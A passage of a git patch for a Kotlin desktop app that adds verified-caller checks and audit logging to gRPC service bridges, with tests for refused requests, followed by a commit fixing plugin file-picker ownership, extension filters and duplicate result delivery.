authenticatedCallerOrRefuse("rpc") + logCall("rpc", caller, request.function) val result = provider.rpc( function = request.function, @@ -88,4 +117,44 @@ class SupabaseServiceBridge( }, ) } + + /** + * The verified identity behind this call, or a thrown `PERMISSION_DENIED` when there is none. + * + * Mirrors the helper introduced by PR #505 (BossConsole#53) - fails closed rather than let a + * request with no credential fall through to [provider] with nothing to attribute it to. + */ + private fun authenticatedCallerOrRefuse(rpc: String): String = + ProcessIdentityInterceptor.AUTHENTICATED_PROCESS_ID.get() ?: run { + logger.warn( + LogCategory.AUTH, + "Refused $rpc: no verified process identity on this call", + mapOf("rpc" to rpc), + ) + throw StatusException(Status.PERMISSION_DENIED.withDescription(NO_IDENTITY)) + } + + /** + * Attributed audit line for every call through this bridge, not only mutations: this proxy + * has no separate concept of a read-only call (a `select` is as capable of exposing a secret + * as `rpc("get_user_secrets", ...)` is), so an unattributed read is exactly the exposure + * BossConsole#53 closes for the narrower Secret/Role bridges. + */ + private fun logCall( + rpc: String, + caller: String, + target: String, + ) { + logger.info( + LogCategory.AUTH, + "Supabase proxy call", + mapOf("rpc" to rpc, "caller" to caller, "target" to target), + ) + } + + private companion object { + val logger = BossLogger.forComponent("SupabaseServiceBridge") + + const val NO_IDENTITY = "This call presented no verified process identity" + } } diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridgeTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridgeTest.kt new file mode 100644 index 0000000000..976565ae63 --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/DownloadServiceBridgeTest.kt @@ -0,0 +1,362 @@ +package ai.rever.boss.kernel.services + +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenClientInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenRegistry +import ai.rever.boss.ipc.proto.Empty +import ai.rever.boss.ipc.proto.services.DownloadIdRequest +import ai.rever.boss.ipc.proto.services.DownloadServiceGrpcKt +import ai.rever.boss.ipc.proto.services.PathRequest +import ai.rever.boss.plugin.api.DownloadDataProvider +import ai.rever.boss.plugin.api.DownloadItemData +import ai.rever.boss.plugin.api.DownloadStatusData +import io.grpc.ManagedChannel +import io.grpc.ManagedChannelBuilder +import io.grpc.Server +import io.grpc.ServerBuilder +import io.grpc.Status +import io.grpc.StatusException +import kotlinx.coroutines.async +import kotlinx.coroutines.channels.Channel +import kotlinx.coroutines.flow.MutableStateFlow +import kotlinx.coroutines.flow.StateFlow +import kotlinx.coroutines.flow.first +import kotlinx.coroutines.runBlocking +import kotlinx.coroutines.supervisorScope +import kotlinx.coroutines.withTimeout +import java.util.concurrent.TimeUnit +import kotlin.test.AfterTest +import kotlin.test.BeforeTest +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFailsWith +import kotlin.test.assertTrue + +/** + * `DownloadServiceBridge`, exercised over a real gRPC server with a real client - see + * [PluginUIServiceBridgeTest]'s own KDoc for why this repo tests bridges this way rather than + * calling the class's methods directly: a Kotlin-level call bypasses [ProcessIdentityInterceptor] + * entirely, which is exactly the thing under test (BossConsole#53). + * + * Two properties matter for every refusal case here, not just "a `PERMISSION_DENIED` came back": + * the [FakeDownloadDataProvider] must never have been invoked ([FakeDownloadDataProvider.calls] + * stays empty), since a refusal that still reached the provider would defeat the point of gating + * it at all - and for [openFile]/[revealInFolder] specifically, an authenticated caller naming a + * path this provider is not tracking as a download must be refused too (the path-confinement + * guard the class KDoc on [DownloadServiceBridge] explains). + */ +class DownloadServiceBridgeTest { + private lateinit var provider: FakeDownloadDataProvider + private lateinit var tokenRegistry: ProcessTokenRegistry + private lateinit var server: Server + private lateinit var channel: ManagedChannel + private lateinit var authenticated: DownloadServiceGrpcKt.DownloadServiceCoroutineStub + private val extraChannels = mutableListOf() + + @BeforeTest + fun setUp() { + provider = FakeDownloadDataProvider() + tokenRegistry = ProcessTokenRegistry() + server = + ServerBuilder + .forPort(0) + .intercept(ProcessIdentityInterceptor(tokenRegistry)) + .addService(DownloadServiceBridge(provider)) + .build() + .start() + channel = + ManagedChannelBuilder + .forAddress("localhost", server.port) + .usePlaintext() + .intercept(ProcessTokenClientInterceptor(tokenRegistry.issue(CALLER))) + .build() + authenticated = DownloadServiceGrpcKt.DownloadServiceCoroutineStub(channel) + } + + @AfterTest + fun tearDown() { + channel.shutdownNow() + channel.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + extraChannels.forEach { it.shutdownNow() } + extraChannels.forEach { it.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) } + server.shutdownNow() + server.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + } + + private fun anonymous(): DownloadServiceGrpcKt.DownloadServiceCoroutineStub { + val unauthenticatedChannel = ManagedChannelBuilder.forAddress("localhost", server.port).usePlaintext().build() + extraChannels += unauthenticatedChannel + return DownloadServiceGrpcKt.DownloadServiceCoroutineStub(unauthenticatedChannel) + } + + // ---- BossConsole#53: every RPC requires a verified caller identity ---- + + @Test + fun `pauseDownload with no credential is refused and never reaches the provider`() = + runBlocking { + val failure = + assertFailsWith { + anonymous().pauseDownload(DownloadIdRequest.newBuilder().setId("d1").build()) + } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(provider.calls.isEmpty()) + } + + @Test + fun `resumeDownload with no credential is refused and never reaches the provider`() = + runBlocking { + assertFailsWith { + anonymous().resumeDownload(DownloadIdRequest.newBuilder().setId("d1").build()) + } + assertTrue(provider.calls.isEmpty()) + } + + @Test + fun `cancelDownload with no credential is refused and never reaches the provider`() = + runBlocking { + assertFailsWith { + anonymous().cancelDownload(DownloadIdRequest.newBuilder().setId("d1").build()) + } + assertTrue(provider.calls.isEmpty()) + } + + @Test + fun `removeDownload with no credential is refused and never reaches the provider`() = + runBlocking { + assertFailsWith { + anonymous().removeDownload(DownloadIdRequest.newBuilder().setId("d1").build()) + } + assertTrue(provider.calls.isEmpty()) + } + + @Test + fun `clearCompleted with no credential is refused and never reaches the provider`() = + runBlocking { + assertFailsWith { anonymous().clearCompleted(Empty.getDefaultInstance()) } + assertTrue(provider.calls.isEmpty()) + } + + @Test + fun `watchDownloads with no credential is refused before any item is streamed`() = + runBlocking { + provider.setDownloads(listOf(trackedItem("d1", "/tmp/tracked/d1.txt"))) + val failure = + assertFailsWith { + anonymous().watchDownloads(Empty.getDefaultInstance()).first() + } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + } + + @Test + fun `an authenticated caller can drive the ordinary operations`() = + runBlocking { + assertTrue(authenticated.pauseDownload(DownloadIdRequest.newBuilder().setId("d1").build()).success) + assertTrue(authenticated.resumeDownload(DownloadIdRequest.newBuilder().setId("d1").build()).success) + assertTrue(authenticated.cancelDownload(DownloadIdRequest.newBuilder().setId("d1").build()).success) + assertTrue(authenticated.removeDownload(DownloadIdRequest.newBuilder().setId("d1").build()).success) + assertTrue(authenticated.clearCompleted(Empty.getDefaultInstance()).success) + assertEquals( + listOf("pause:d1", "resume:d1", "cancel:d1", "remove:d1", "clearCompleted"), + provider.calls, + ) + } + + @Test + fun `revoked watcher cannot receive a later download snapshot`() = + runBlocking { + withTimeout(10_000) { + supervisorScope { + val received = Channel(Channel.UNLIMITED) + val watching = + async { + authenticated.watchDownloads(Empty.getDefaultInstance()).collect { received.send(Unit) } + } + try { + received.receive() + tokenRegistry.revoke(CALLER) + provider.setDownloads(listOf(trackedItem("private", "/private/new-download.txt"))) + val failure = assertFailsWith { watching.await() } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(received.tryReceive().isFailure, "revocation must prevent the next snapshot") + } finally { + watching.cancel() + received.close() + } + } + } + } + + @Test + fun `tracked aliases are passed to the provider as their validated canonical path`() = + runBlocking { + val tracked = tempTrackedFile() + val alias = java.io.File(tracked.parentFile, "./${tracked.name}").path + provider.setDownloads(listOf(trackedItem("d1", tracked.path))) + + authenticated.openFile(PathRequest.newBuilder().setPath(alias).build()) + authenticated.revealInFolder(PathRequest.newBuilder().setPath(alias).build()) + + assertEquals( + listOf("openFile:${tracked.canonicalPath}", "revealInFolder:${tracked.canonicalPath}"), + provider.calls, + ) + } + + @Test + fun `blank destinations and requests cannot authorize the working directory`() = + runBlocking { + provider.setDownloads(listOf(trackedItem("empty", ""))) + for (path in listOf("", ".")) { + val failure = + assertFailsWith { + authenticated.openFile(PathRequest.newBuilder().setPath(path).build()) + } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertEquals("This path is not a download tracked by this provider", failure.status.description) + } + assertTrue(provider.calls.isEmpty()) + } + + // ---- Path confinement: openFile / revealInFolder ---- + + @Test + fun `openFile for a path this provider is not tracking is refused even for an authenticated caller`() = + runBlocking { + provider.setDownloads(listOf(trackedItem("d1", tempTrackedFile().absolutePath))) + + val failure = + assertFailsWith { + authenticated.openFile(PathRequest.newBuilder().setPath(untrackedExecutable().absolutePath).build()) + } + + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(provider.calls.isEmpty(), "the OS-level open must never have been reached") + } + + @Test + fun `revealInFolder for a path this provider is not tracking is refused even for an authenticated caller`() = + runBlocking { + provider.setDownloads(listOf(trackedItem("d1", tempTrackedFile().absolutePath))) + + val failure = + assertFailsWith { + authenticated.revealInFolder( + PathRequest.newBuilder().setPath(untrackedExecutable().absolutePath).build(), + ) + } + + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(provider.calls.isEmpty()) + } + + @Test + fun `openFile for a path this provider IS tracking as a download reaches the provider`() = + runBlocking { + val tracked = tempTrackedFile() + provider.setDownloads(listOf(trackedItem("d1", tracked.absolutePath))) + + authenticated.openFile(PathRequest.newBuilder().setPath(tracked.absolutePath).build()) + + assertEquals(listOf("openFile:${tracked.canonicalPath}"), provider.calls) + } + + @Test + fun `openFile with no credential is refused before the path-confinement check even runs`() = + runBlocking { + val tracked = tempTrackedFile() + provider.setDownloads(listOf(trackedItem("d1", tracked.absolutePath))) + + val failure = + assertFailsWith { + anonymous().openFile(PathRequest.newBuilder().setPath(tracked.absolutePath).build()) + } + + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(provider.calls.isEmpty()) + } + + // ---- Helpers ---- + + private fun tempTrackedFile() = + kotlin.io.path + .createTempFile("boss-download-test", ".txt") + .toFile() + .apply { deleteOnExit() } + + private fun untrackedExecutable() = + kotlin.io.path + .createTempFile("boss-not-a-download", ".exe") + .toFile() + .apply { deleteOnExit() } + + private fun trackedItem( + id: String, + destinationPath: String, + ) = DownloadItemData( + id = id, + fileName = destinationPath.substringAfterLast('/').substringAfterLast('\\'), + destinationPath = destinationPath, + url = "https://example.test/$id", + status = DownloadStatusData.COMPLETED, + receivedBytes = 100L, + totalBytes = 100L, + speed = 0.0, + canPause = false, + canResume = false, + errorReason = null, + startTime = 0L, + endTime = 0L, + ) + + /** + * Records every call it actually receives, so a refusal at the bridge (identity or path + * confinement) can be told apart from a refusal the provider itself would have raised. + */ + private class FakeDownloadDataProvider : DownloadDataProvider { + val calls = mutableListOf() + private val _downloads = MutableStateFlow>(emptyList()) + override val downloads: StateFlow> = _downloads + + fun setDownloads(items: List) { + _downloads.value = items + } + + override suspend fun pauseDownload(id: String): Result { + calls += "pause:$id" + return Result.success(Unit) + } + + override suspend fun resumeDownload(id: String): Result { + calls += "resume:$id" + return Result.success(Unit) + } + + override suspend fun cancelDownload(id: String): Result { + calls += "cancel:$id" + return Result.success(Unit) + } + + override suspend fun removeDownload(id: String): Result { + calls += "remove:$id" + return Result.success(Unit) + } + + override suspend fun clearCompleted(): Result { + calls += "clearCompleted" + return Result.success(Unit) + } + + override fun revealInFolder(path: String) { + calls += "revealInFolder:$path" + } + + override fun openFile(path: String) { + calls += "openFile:$path" + } + } + + private companion object { + const val CALLER = "test-caller" + const val SHUTDOWN_TIMEOUT_MS = 5_000L + } +} diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/SupabaseServiceBridgeTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/SupabaseServiceBridgeTest.kt new file mode 100644 index 0000000000..3185876b9e --- /dev/null +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/kernel/services/SupabaseServiceBridgeTest.kt @@ -0,0 +1,178 @@ +package ai.rever.boss.kernel.services + +import ai.rever.boss.ipc.auth.ProcessIdentityInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenClientInterceptor +import ai.rever.boss.ipc.auth.ProcessTokenRegistry +import ai.rever.boss.ipc.proto.services.SupabaseRpcRequest +import ai.rever.boss.ipc.proto.services.SupabaseSelectRequest +import ai.rever.boss.ipc.proto.services.SupabaseServiceGrpcKt +import ai.rever.boss.plugin.api.QueryFilter +import ai.rever.boss.plugin.api.QueryRange +import ai.rever.boss.plugin.api.SupabaseDataProvider +import io.grpc.ManagedChannel +import io.grpc.ManagedChannelBuilder +import io.grpc.Server +import io.grpc.ServerBuilder +import io.grpc.Status +import io.grpc.StatusException +import kotlinx.coroutines.runBlocking +import java.util.concurrent.TimeUnit +import kotlin.test.AfterTest +import kotlin.test.BeforeTest +import kotlin.test.Test +import kotlin.test.assertEquals +import kotlin.test.assertFailsWith +import kotlin.test.assertTrue + +/** + * `SupabaseServiceBridge`, exercised over a real gRPC server with a real client - see + * [PluginUIServiceBridgeTest]'s own KDoc for why a bridge is tested at the wire level rather than + * by calling its methods directly in-process: only the wire path actually goes through + * [ProcessIdentityInterceptor], which is what BossConsole#53 adds here. + * + * The assertion that matters for every refusal is not just "PERMISSION_DENIED came back" but that + * [FakeSupabaseDataProvider] - standing in for the signed-in user's real, RLS-scoped Postgrest + * session, per the class KDoc on [SupabaseServiceBridge] - was never touched. `rpc` is the more + * dangerous of the two calls (it can reach `create_secret`/`update_secret`, per AGENTS.md's + * "Decoding Supabase payloads"), so it gets its own explicit "never invoked" proof rather than + * relying on `select`'s. + */ +class SupabaseServiceBridgeTest { + private lateinit var provider: FakeSupabaseDataProvider + private lateinit var tokenRegistry: ProcessTokenRegistry + private lateinit var server: Server + private lateinit var channel: ManagedChannel + private lateinit var authenticated: SupabaseServiceGrpcKt.SupabaseServiceCoroutineStub + private val extraChannels = mutableListOf() + + @BeforeTest + fun setUp() { + provider = FakeSupabaseDataProvider() + tokenRegistry = ProcessTokenRegistry() + server = + ServerBuilder + .forPort(0) + .intercept(ProcessIdentityInterceptor(tokenRegistry)) + .addService(SupabaseServiceBridge(provider)) + .build() + .start() + channel = + ManagedChannelBuilder + .forAddress("localhost", server.port) + .usePlaintext() + .intercept(ProcessTokenClientInterceptor(tokenRegistry.issue(CALLER))) + .build() + authenticated = SupabaseServiceGrpcKt.SupabaseServiceCoroutineStub(channel) + } + + @AfterTest + fun tearDown() { + channel.shutdownNow() + channel.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + extraChannels.forEach { it.shutdownNow() } + extraChannels.forEach { it.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) } + server.shutdownNow() + server.awaitTermination(SHUTDOWN_TIMEOUT_MS, TimeUnit.MILLISECONDS) + } + + private fun anonymous(): SupabaseServiceGrpcKt.SupabaseServiceCoroutineStub { + val unauthenticatedChannel = ManagedChannelBuilder.forAddress("localhost", server.port).usePlaintext().build() + extraChannels += unauthenticatedChannel + return SupabaseServiceGrpcKt.SupabaseServiceCoroutineStub(unauthenticatedChannel) + } + + @Test + fun `select with no credential is refused and never reaches the provider`() = + runBlocking { + val failure = + assertFailsWith { + anonymous().select( + SupabaseSelectRequest + .newBuilder() + .setTable("secrets") + .setColumns("*") + .build(), + ) + } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(provider.selectCalls.isEmpty()) + } + + @Test + fun `rpc with no credential is refused and never reaches the provider`() = + runBlocking { + val failure = + assertFailsWith { + anonymous().rpc( + SupabaseRpcRequest + .newBuilder() + .setFunction("create_secret") + .setParametersJson("""{"password":"hunter2"}""") + .build(), + ) + } + assertEquals(Status.Code.PERMISSION_DENIED, failure.status.code) + assertTrue(provider.rpcCalls.isEmpty(), "create_secret must never have reached the provider") + } + + @Test + fun `an authenticated caller's select reaches the provider with its arguments intact`() = + runBlocking { + val response = + authenticated.select( + SupabaseSelectRequest + .newBuilder() + .setTable("secrets") + .setColumns("id,name") + .build(), + ) + + assertTrue(response.success) + assertEquals(listOf("secrets" to "id,name"), provider.selectCalls) + } + + @Test + fun `an authenticated caller's rpc reaches the provider with its arguments intact`() = + runBlocking { + val response = + authenticated.rpc( + SupabaseRpcRequest + .newBuilder() + .setFunction("create_secret") + .setParametersJson("""{"password":"hunter2"}""") + .build(), + ) + + assertTrue(response.success) + assertEquals(listOf("create_secret" to """{"password":"hunter2"}"""), provider.rpcCalls) + } + + /** Records every call it actually receives, standing in for the real RLS-scoped session. */ + private class FakeSupabaseDataProvider : SupabaseDataProvider { + val selectCalls = mutableListOf>() + val rpcCalls = mutableListOf>() + + override suspend fun select( + table: String, + columns: String, + filters: List, + range: QueryRange?, + ): Result { + selectCalls += table to columns + return Result.success("[]") + } + + override suspend fun rpc( + function: String, + parameters: String, + ): Result { + rpcCalls += function to parameters + return Result.success("{}") + } + } + + private companion object { + const val CALLER = "test-caller" + const val SHUTDOWN_TIMEOUT_MS = 5_000L + } +} From d3da351ce169cd7fc72bc024ba62884e0ffe6cfc Mon Sep 17 00:00:00 2001 From: arjun28115 Date: Mon, 14 Sep 2026 09:39:23 +0530 Subject: [PATCH 07/28] fix(plugins): give a plugin's file panel an owner and its own directory mode (#551) (#552) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(plugins): give a plugin's file panel an owner and its own directory mode (#551) FilePickerProviderFactory created every panel as FileDialog(null as Frame?, ...) and showed it with a bare isVisible = true. Two consequences, and they are different failures. No owner. The panel has no window to be modal to and none to come forward over, so it can open behind the Compose window. onResult(null) then reaches the plugin looking exactly like a cancel. No directory mode. apple.awt.fileDialogForDirectories is process-wide and read by the native peer at creation, and a modal panel runs a nested event loop on the EDT that keeps dispatching. NativeFileDialogs already recorded this file as one of three that create a LOAD dialog without stating the flag, and the consequence it named: such a panel opened inside the browser's folder panel comes up as a directory chooser. That part is a defect independent of the reported symptom. NativeFileDialogs had already solved both for the browser's own panels, and its comment says the durable fix is to route every FileDialog in the tree through one helper. This extracts that helper rather than adding a third copy of it. NativeFileDialogs now delegates to it and loses its private duplicates, so the two cannot drift. The property discipline is split out as withDirectoryMode so it is testable without a display: an absent property is cleared rather than written back as "false", a present one is restored verbatim, nesting unwinds in reverse, and a throwing body still restores. Seven tests cover it. The owner selection and the panel itself are not covered and cannot be from a headless test. The catch blocks now log at error rather than warn and say that the plugin will see the failure as a user cancel, since onResult(null) is the only channel this API has and the log is the only place the difference exists. 570 tests in the browser package pass, including the existing NativeFileDialogs suite. ktlint and detekt clean. Co-Authored-By: Claude Opus 5 * fix(plugins): preserve save filters from PR 611 Consolidate Jaspreet Singh’s save-filter addition into arjun28115’s shared owned-dialog implementation. Remove comments left behind by the helper extraction. Co-authored-by: Jaspreet Singh * test(pickers): preserve pre-existing directory flag in teardown * fix(pickers): deliver one result per pick, and accept a dotted extension The two shared-provider defects handed back on #552. Neither came from the ownership change; both live in the picker this PR touches, and both are silent. 1. `onResult` was called inside the same `try` that catches picker failures, so a plugin whose callback threw received its path and then a `null` immediately after. `null` is indistinguishable from a cancel, so one pick produced two answers and the second one was wrong. Delivery now goes through `deliverOnce`, which sets its flag before invoking, so a throw from the plugin's callback cannot be retried by the catch. The two throws are told apart by when they happen: a picker failure arrives before delivery and still reports the cancel. 2. The API takes `List` and says nothing about the spelling, so plugins pass both `csv` and `.csv`, and every consumer appended its own dot. The macOS filter tested `name.endsWith(".$ext")` and Swing's FileNameExtensionFilter adds the dot itself, so `.csv` was matched as `..csv`. No file is named that, so the filter hid every valid choice instead of narrowing to them. `normalizedExtensions` strips a leading dot and drops blanks, and both platforms and both methods now route through it. Normalising rather than declaring a bare-extension contract, because the contract is not checkable at the plugin boundary and the failure it produces is a panel that lists nothing, which reads as "no matching files here". Both fixes are in Open and Save. The Save path also gains a comment saying what its filter does NOT do: a native SAVE panel narrows what is listed and does not constrain what the user types, so the returned path may still carry any extension or none. The three helpers are `internal` and pure so the rules are testable without an AWT panel on the EDT. The provider calls exactly these, so reverting a call site is a compile error rather than a silently unexercised test. 11 tests cover one delivery per pick, a throwing callback, a failure before delivery, csv/.csv, mixed case, whitespace, blank-only and empty filter lists. ktlint 1.8.0 clean; no line over 120 columns. No local test run is claimed. Co-Authored-By: Claude Opus 5 * fix(pickers): repair what CI caught on the rebased head Two failures, both mine, neither caused by the rebase. `compileTestKotlinDesktop` failed at FilePickerDeliveryTest:34. `assertEquals` takes one type parameter for both arguments, and `listOf("...")` against a `MutableList` gives it nothing to unify, so inference failed outright. The expectation is now spelled `listOf(...)`, matching the two assertions further down that already were. The `emptyList()` expectations are spelled `emptyList()` for the same reason, before they hit it too. `detekt` failed on SpreadOperator at both FileNameExtensionFilter constructions. The rule is not new and the code is not either: renaming `filters` to `extensions` moved the element out of whatever suppressed it before. Suppressed at the two functions with the reasoning written out, matching what NativeFileDialogs.onOpenFiles in this same PR already does. The spread is over a plugin's declared filter list, a handful of entries, and FileNameExtensionFilter is Java varargs with no collection overload to prefer. Worth saying plainly: a type error is something a compile would have caught and I shipped it without one. There is no working Gradle path on this machine, so ktlint is the only gate I can run locally, and it does not type-check. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang Co-authored-by: Jaspreet Singh --- .../providers/FilePickerProviderFactory.kt | 153 ++++++++++++++---- .../boss/plugin/browser/NativeFileDialogs.kt | 55 +------ .../boss/plugin/browser/OwnedFileDialog.kt | 94 +++++++++++ .../providers/FilePickerDeliveryTest.kt | 135 ++++++++++++++++ .../plugin/browser/OwnedFileDialogTest.kt | 128 +++++++++++++++ 5 files changed, 483 insertions(+), 82 deletions(-) create mode 100644 composeApp/src/desktopMain/kotlin/ai/rever/boss/plugin/browser/OwnedFileDialog.kt create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/components/plugin/providers/FilePickerDeliveryTest.kt create mode 100644 composeApp/src/desktopTest/kotlin/ai/rever/boss/plugin/browser/OwnedFileDialogTest.kt diff --git a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/plugin/providers/FilePickerProviderFactory.kt b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/plugin/providers/FilePickerProviderFactory.kt index 5d234f24e3..5ed716287f 100644 --- a/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/plugin/providers/FilePickerProviderFactory.kt +++ b/composeApp/src/desktopMain/kotlin/ai/rever/boss/components/plugin/providers/FilePickerProviderFactory.kt @@ -1,10 +1,12 @@ package ai.rever.boss.components.plugin.providers import ai.rever.boss.plugin.api.FilePickerProvider +import ai.rever.boss.plugin.browser.activeDialogOwner +import ai.rever.boss.plugin.browser.ownedFileDialog +import ai.rever.boss.plugin.browser.showModal import ai.rever.boss.utils.logging.BossLogger import ai.rever.boss.utils.logging.LogCategory import java.awt.FileDialog -import java.awt.Frame import java.io.File import javax.swing.JFileChooser import javax.swing.SwingUtilities @@ -17,33 +19,107 @@ private val logger = BossLogger.forComponent("FilePickerProvider") */ actual fun createFilePickerProvider(): FilePickerProvider? = DesktopFilePickerProvider() +/** + * Extensions as this file's filters mean them: bare, with no leading dot. + * + * The API takes `List` and says nothing about the spelling, so plugins pass both `csv` and + * `.csv`. Every consumer here then appends its own dot: the macOS filter tests `name.endsWith(".$ext")` + * and Swing's [FileNameExtensionFilter] takes bare extensions and adds the dot itself. A caller who + * wrote `.csv` was therefore matched against `..csv`, which no file is named, so the filter hid + * every valid choice instead of narrowing to it. + * + * Normalising on the way in rather than declaring a bare-extension contract: the contract is not + * checkable at the plugin boundary, and the failure it produces is a dialog that silently shows + * nothing, which reads as "there are no matching files" rather than as a bug. + * + * Blank entries are dropped. A list of nothing but blanks yields an empty list, which every caller + * below treats as "no filter" rather than as a filter that matches nothing. + */ +internal fun normalizedExtensions(filters: List?): List = + filters + .orEmpty() + .map { it.trim().removePrefix(".").trim() } + .filter { it.isNotEmpty() } + +/** + * Whether [fileName] carries one of [extensions], which is the macOS filter's whole rule. + * + * An empty list accepts everything: the callers only install a filter when there is one to install, + * and this keeps the two in step if that ever changes. + */ +internal fun matchesAnyExtension( + fileName: String, + extensions: List, +): Boolean = extensions.isEmpty() || extensions.any { fileName.endsWith(".$it", ignoreCase = true) } + +/** + * Wraps [onResult] so it runs at most once. + * + * `onResult` is the only channel this API has, and it was being called inside the same `try` that + * catches picker failures. So a plugin whose callback threw got its result and then a `null` + * immediately after, which is indistinguishable from the user cancelling: one pick, two answers, + * the second one wrong. + * + * With this the two throws are told apart by when they happen. A throw from the picker itself + * arrives before delivery, so the catch still reports the cancel. A throw from the plugin's own + * callback arrives after it, so the catch logs and delivers nothing further. + * + * Not synchronised: every caller runs inside `SwingUtilities.invokeLater`, so both the delivery and + * the catch that might re-deliver are on the EDT. + */ +internal fun deliverOnce(onResult: (String?) -> Unit): (String?) -> Unit { + var delivered = false + return { value -> + if (!delivered) { + // Set before invoking, so a throw from onResult cannot be retried by the catch below. + delivered = true + onResult(value) + } + } +} + /** * Desktop file picker provider using AWT/Swing dialogs. + * + * Every panel here is owned by the window the user is looking at and states its own directory + * mode, through [ownedFileDialog] and [showModal]. Both matter for a panel a PLUGIN opens: + * + * - An ownerless panel has no window to be modal to and none to come forward over, so it can open + * behind the Compose window. `onResult(null)` then arrives looking exactly like a cancel, and + * the plugin reports that the user changed their mind. + * - `apple.awt.fileDialogForDirectories` is process-wide and read when the peer is created, and a + * modal panel runs a nested event loop that keeps dispatching. A plugin picker opened while the + * browser's folder panel is up therefore came up as a DIRECTORY chooser, which + * `NativeFileDialogs` already recorded as a live consequence of this file not stating its mode. */ private class DesktopFilePickerProvider : FilePickerProvider { private val isMacOS = System.getProperty("os.name").lowercase().contains("mac") + // The spread is over a plugin's declared filter list, a handful of entries at most, and + // FileNameExtensionFilter is Java varargs with no collection overload to prefer. Same + // reasoning, and the same suppression, as NativeFileDialogs.onOpenFiles. + @Suppress("SpreadOperator") override fun pickFile( title: String?, filters: List?, onResult: (String?) -> Unit, ) { + val deliver = deliverOnce(onResult) + val extensions = normalizedExtensions(filters) SwingUtilities.invokeLater { try { if (isMacOS) { - val dialog = FileDialog(null as Frame?, title ?: "Open File", FileDialog.LOAD) - if (!filters.isNullOrEmpty()) { - dialog.setFilenameFilter { _, name -> - filters.any { ext -> name.endsWith(".$ext", ignoreCase = true) } - } + val dialog = ownedFileDialog(title ?: "Open File", FileDialog.LOAD) + if (extensions.isNotEmpty()) { + dialog.setFilenameFilter { _, name -> matchesAnyExtension(name, extensions) } } - dialog.isVisible = true + dialog.showModal(directories = false) val dir = dialog.directory val file = dialog.file if (dir != null && file != null) { - onResult("$dir$file") + deliver("$dir$file") } else { - onResult(null) + deliver(null) } } else { val chooser = @@ -51,49 +127,64 @@ private class DesktopFilePickerProvider : FilePickerProvider { dialogTitle = title ?: "Open File" fileSelectionMode = JFileChooser.FILES_ONLY currentDirectory = File(System.getProperty("user.home")) - if (!filters.isNullOrEmpty()) { + if (extensions.isNotEmpty()) { isAcceptAllFileFilterUsed = false addChoosableFileFilter( FileNameExtensionFilter( - filters.joinToString(", ") { "*.$it" }, - *filters.toTypedArray(), + extensions.joinToString(", ") { "*.$it" }, + *extensions.toTypedArray(), ), ) } } - val result = chooser.showOpenDialog(null) + val result = chooser.showOpenDialog(activeDialogOwner()) if (result == JFileChooser.APPROVE_OPTION) { - onResult(chooser.selectedFile?.absolutePath) + deliver(chooser.selectedFile?.absolutePath) } else { - onResult(null) + deliver(null) } } } catch (e: Exception) { - logger.warn(LogCategory.SYSTEM, "File picker failed", error = e) - onResult(null) + // onResult(null) is the only channel this API has, and the plugin cannot tell it + // apart from a cancel. The log is therefore the only place the difference exists, + // so it is an error rather than a warning and says so explicitly. + logger.error( + LogCategory.SYSTEM, + "File picker failed; the plugin will see this as a user cancel", + error = e, + ) + deliver(null) } } } + @Suppress("SpreadOperator") override fun pickSaveFile( suggestedFileName: String?, filters: List?, onResult: (String?) -> Unit, ) { + val deliver = deliverOnce(onResult) + val extensions = normalizedExtensions(filters) SwingUtilities.invokeLater { try { if (isMacOS) { - val dialog = FileDialog(null as Frame?, "Save File", FileDialog.SAVE) + val dialog = ownedFileDialog("Save File", FileDialog.SAVE) if (suggestedFileName != null) { dialog.file = suggestedFileName } - dialog.isVisible = true + // A SAVE panel's filter narrows what is LISTED. It does not constrain what the + // user types, so the returned path may still carry any extension or none. + if (extensions.isNotEmpty()) { + dialog.setFilenameFilter { _, name -> matchesAnyExtension(name, extensions) } + } + dialog.showModal(directories = false) val dir = dialog.directory val file = dialog.file if (dir != null && file != null) { - onResult("$dir$file") + deliver("$dir$file") } else { - onResult(null) + deliver(null) } } else { val chooser = @@ -104,26 +195,30 @@ private class DesktopFilePickerProvider : FilePickerProvider { if (suggestedFileName != null) { selectedFile = File(suggestedFileName) } - if (!filters.isNullOrEmpty()) { + if (extensions.isNotEmpty()) { isAcceptAllFileFilterUsed = false addChoosableFileFilter( FileNameExtensionFilter( - filters.joinToString(", ") { "*.$it" }, - *filters.toTypedArray(), + extensions.joinToString(", ") { "*.$it" }, + *extensions.toTypedArray(), ), ) } } - val result = chooser.showSaveDialog(null) + val result = chooser.showSaveDialog(activeDialogOwner()) if 